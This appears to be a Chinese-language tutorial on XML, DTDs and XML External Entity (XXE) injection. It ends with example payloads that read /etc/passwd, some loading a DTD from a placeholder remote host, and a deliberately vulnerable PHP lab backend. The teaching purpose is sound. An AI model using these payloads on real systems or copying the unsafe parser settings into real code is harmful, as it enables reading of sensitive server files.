XML基礎知識
XML簡介:
XXE(XML External Entity Injection) XML外部實體注入,XML是一種類似於HTML(超文本標記語言)的可擴展標記語言,是用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
文檔類型定義(DTD)可定義合法的XML文檔構建模塊。它使用一系列合法的元素來定義文檔的結構。
DTD 可被成行地聲明於 XML 文檔中,也可作為一個外部引用。
內部的 DOCTYPE 聲明
假如 DTD 被包含在您的 XML 源文件中,它應當通過下面的語法包裝在一個 DOCTYPE 聲明中:
<!DOCTYPE 根元素 [元素聲明]>
帶有 DTD 的 XML 文檔實例:
<?xml version="1.0"?><!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>]><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>
根據以上代碼,做出如下解釋
!DOCTYPE note (第二行)定義此文檔是 note 類型的文檔。
!ELEMENT note (第三行)定義 note 元素有四個元素:"to、from、heading,、body"
!ELEMENT to (第四行)定義 to 元素為 "#PCDATA" 類型
!ELEMENT from (第五行)定義 from 元素為 "#PCDATA" 類型
!ELEMENT heading (第六行)定義 heading 元素為 "#PCDATA" 類型
!ELEMENT body (第七行)定義 body 元素為 "#PCDATA" 類型
外部文檔聲明
假如 DTD 位於 XML 源文件的外部,那麼它應通過下面的語法被封裝在一個 DOCTYPE 定義中:
<!DOCTYPE 根元素 SYSTEM "文件名">
這個 XML 文檔和上面的 XML 文檔相同,但是擁有一個外部的 DTD:
<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>
這是包含 DTD 的 "note.dtd" 文件:
<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>
通過 DTD,您的每一個 XML 文件均可攜帶一個有關其自身格式的描述。
通過 DTD,獨立的團體可一致地使用某個標準的 DTD 來交換數據。
而您的應用程式也可使用某個標準的 DTD 來驗證從外部接收到的數據。
您還可以使用 DTD 來驗證您自身的數據。
學習了DTD的兩種引用方法,下面我們主要學習以下XXE漏洞需要利用的DTD實體
實體的概念:
實體是用於定義引用普通文本或特殊字符的快捷方式的變量。實體引用是對實體的引用。實體可在內部或外部進行聲明。
一個內部實體聲明
語法:
<!ENTITY 實體名稱 "實體的值">
例子:
DTD 例子:
<!ENTITY writer "Bill Gates"><!ENTITY copyright "Copyright W3School.com.cn">
XML 例子:
<author>&writer;©right;</author>
注釋: 一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號 (;)。
一個外部實體聲明
語法:
<!ENTITY 實體名稱 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
有了以上的XML和DTD的知識基礎,我們就可以學習XXE漏洞了。
XXE漏洞——XML外部實體注入(XML External Entity)
當應用是通過用戶上傳的XML文件或POST請求進行數據的傳輸,並且應用沒有禁止XML引用外部實體,也沒有過濾用戶提交的XML數據,那麼就會產生XML外部實體注入漏洞,即XXE漏洞
例1:
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]><x>&b;</x>
如果以上xml代碼被解析,則會返回/etc/passwd文件的內容。
例2:
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >%d;]><x>&xxe;</x>
http://xxxx.com/xxe.dtd的內容為:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
有的小夥伴可能已經發現了,例1中實體名前面並沒有%,而例2中實體名前是有%的,這裡的區別在於,例1中定義的實體是通用實體,而例2中定義的是參數實體,並且參數實體只能在dtd中使用,即例2代碼中的第三行 %d;,這裡就像在外面引用統用實體一樣,這裡的%d;就引用了http://xxx.com/xxe.dtd這個文件到dtd中。
例3:
<?xml version="1.0"?><!DOCTYPE a SYSTEM "http://xxx.com/xxe.dtd"><x>&xxe;</x>
http://xxxx.com/xxe.dtd的內容為:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
不同程序支持的協議不同,如下圖:
LIBXML2PHPJAVA.NETfilefilehttpfilehttphttphttpshttpftpftpftphttpsphpfileftpcompress.zlibjarcompress.bzip2netdocdatamailtoglobgopher *phar
以上面的例子可能還是說的不太清楚,那我們就用一個實例來看一下XXE漏洞到底是什麼東西:
實例1:
環境設置
PHPstudy集成 Apache2.4.39 PHP5.2.17nts
xxe.php後端代碼
<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);echo $creds;?>
訪問
刷新並抓包,POST我們構造的payload
發包返回我們查看的c:/windows/system.ini
這就是一個簡單的xxe漏洞的利用過程,當然不止文件讀取這一種危害,更多的利用方式我們後期再為大家介紹!